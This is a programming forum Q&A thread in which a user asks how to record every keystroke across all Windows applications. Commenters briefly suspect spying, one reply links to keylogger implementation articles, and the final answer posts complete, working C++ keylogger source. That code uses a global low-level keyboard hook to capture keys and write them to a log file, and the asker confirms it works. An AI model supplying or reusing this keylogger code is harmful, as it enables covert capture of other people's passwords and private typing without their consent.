Click here to Skip to main content
15,867,835 members
Please Sign up or sign in to vote.
3.00/5 (1 vote)
See more:
I want to log all keys pressed by user in all applications.... (Catch message WM_CHAR)....

Is hooking WM_CHAR is that solution?? Any link of documentation???

can any one help me?
Posted
Comments
Sergey Alexandrovich Kryukov 4-Nov-12 12:32pm    
May I ask you why? Spying on the users? :-)
--SA
Sergey Alexandrovich Kryukov 4-Nov-12 13:44pm    
Please don't post your comments as a "solution". Nobody will get notification, and you might get no more than down-votes or abuse reports...
--SA

Besides global hooks its a good practice to use a driver, but there are so many points where you can put your filter in. More these: http://www.securelist.com/en/analysis/204792178/Keyloggers_Implementing_keyloggers_in_Windows_Part_Two[^]

Alternatively: http://www.refog.hu/hardware-keylogger/key-logging-without-software-or-drivers.html?&t=KGRwMApWX19uZXdwCnAxClYwCnAyCnMu[^]
 
Share this answer
 
Comments
Sergey Alexandrovich Kryukov 4-Nov-12 13:43pm    
You did not got down-vote from OP yet, who added a "solution" telling "nothing much".
My 5.
I also answered, with an important note which might trigger hatred... :-) -- please see.
--SA
pasztorpisti 4-Nov-12 13:52pm    
:-) Children often do the opposite of what you ask them for. Maybe you should have asked for the opposite...
I guess writing a keylogger is rarely done with good intentions, however for some time I used a keylogger on my own account to find out whether someone knows my password or not.
Sergey Alexandrovich Kryukov 4-Nov-12 14:07pm    
This is a very good point. This is one reason why I did not say "no, I won't tell you, because I'm afraid you would do bad thing" -- this won't prevent anything, but giving the information demonstrates the openness, at the very least, which is much better.

I used to deal with children of certain age a lot (still do, not so often), so I know about it just a bit. I cannot pretend I'm really knowledgeable or skilled, but sometimes they listened to me. So, I know one thing for sure: first of all, you need to let some person know that you treat her/him absolutely seriously and think you can trust one. There is no any other way. That's why I'm totally against any Internet "parential control" filters, in particular -- they are much more of evil than good.

--SA
pasztorpisti 4-Nov-12 14:29pm    
How could you expect someone to trust you when you don't trust him/her??? I always start out from my own point of view. I was self taught even in life and nobody could ever "command" me. I wanted to watch porn when I was 12 and I did so. :-) Of course not at home because there sex was a taboo (the vhs collection of one of my friends father...). Despite this I'm still alive without any serious mental disorder or something like that... There were really only a few adults I trusted and talked about my things. Lots of people treat their children like "pets of their own" and not like individuals and that's a really bad thing. Children are like adults with their own brain and own thoughts but with less knowledge. How will that child stand its ground in the big world if you protect him from his own life instead of sharing your wisdom with him??? :-)
Sergey Alexandrovich Kryukov 4-Nov-12 14:11pm    
I removed one unrelated question and loose a chance to reply to one your comment. This one:

[pasztorpisti has posted a reply to your comment about "how can a create a constructor that accepts the limit k and forms the series automatically?":

You're right. However putting some initialization into a constructor is on the borderline for me if it isn't something that can fail... This may cause an out of memory error because of the vector but an out of memory error is also something I rarely handle (because its almost like a runtime error like stack overflow or nullpointer exception). On the other hand I never understood why do teachers give so stupid tasks without practical usage for their students... Do they want to make it overly easy or boring or both?]

I agree. Nevertheless, again, I would prefer to wait for OP's response and see the motivation. If you answer a poorly motivated question, this might be not really useful for OP. Do you see the point?

--SA
The solution is using a global Windows Hook; using "global" is an important key. Please see:
http://msdn.microsoft.com/en-us/library/windows/desktop/ms632589%28v=vs.85%29.aspx[^].

Make sure you don't do evil!

—SA
 
Share this answer
 
Comments
pasztorpisti 4-Nov-12 13:45pm    
+5, however writing one can be tricky for the first time!
Sergey Alexandrovich Kryukov 4-Nov-12 14:00pm    
Apparently, not easy at all. And hard to debug.
Thank you,
--SA
Here is a simple keylogger I wrote a while ago:

C++
#include <windows.h>

#define LOG_PATH "log.txt"

HANDLE hFile;
HHOOK hHook;

LRESULT CALLBACK MessageProc(int nCode, WPARAM wParam, LPARAM lParam);

INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE HHGG, LPSTR lpCmdLine, int nShowCmd)
{

    LPTSTR lpFileName = TEXT(LOG_PATH);

    hFile = CreateFile(lpFileName, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
        return(1);

    hHook   = SetWindowsHookEx(WH_KEYBOARD_LL, MessageProc, NULL, 0);
    if(hHook == NULL)
        return(2);

    while( GetMessage(NULL, NULL, 0, 0) > 0 );

    return(0);

}

LRESULT CALLBACK MessageProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    KBDLLHOOKSTRUCT kbdllhookstruct;
    BYTE keyState[256];
    TCHAR buff[256] = {0};
    HWND hWnd;
    DWORD dwThreadId;
    HKL hKl;
    DWORD lpNumberOfBytesWritten;

    if(LOWORD(wParam) != WM_KEYDOWN)
        return CallNextHookEx(hHook, nCode, wParam, lParam);

    kbdllhookstruct = *((KBDLLHOOKSTRUCT *) lParam);

    GetKeyboardState(&keyState[0]);
    keyState[VK_SHIFT]      = (BYTE) GetKeyState(VK_SHIFT);
    keyState[VK_CAPITAL]    = (BYTE) GetKeyState(VK_CAPITAL);
    keyState[VK_CONTROL]    = (BYTE) GetKeyState(VK_CONTROL);

    hWnd = GetForegroundWindow();
    if(hWnd == NULL)
        ExitProcess(3);

    dwThreadId = GetWindowThreadProcessId(hWnd, 0);
    hKl = GetKeyboardLayout(dwThreadId);
    ToUnicodeEx(kbdllhookstruct.vkCode, kbdllhookstruct.scanCode, &keyState[0], &buff[0], 256, 0, hKl);
    WriteFile(hFile, &buff[0], sizeof(TCHAR) * lstrlen(&buff[0]), &lpNumberOfBytesWritten, NULL);

    return CallNextHookEx(hHook, nCode, wParam, lParam);
}


In order to understand it, start with SetWindowsHookEx[^]
 
Share this answer
 
Comments
[no name] 4-Nov-12 14:04pm    
Thanks..its working...Just going through MSDN for more details...

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900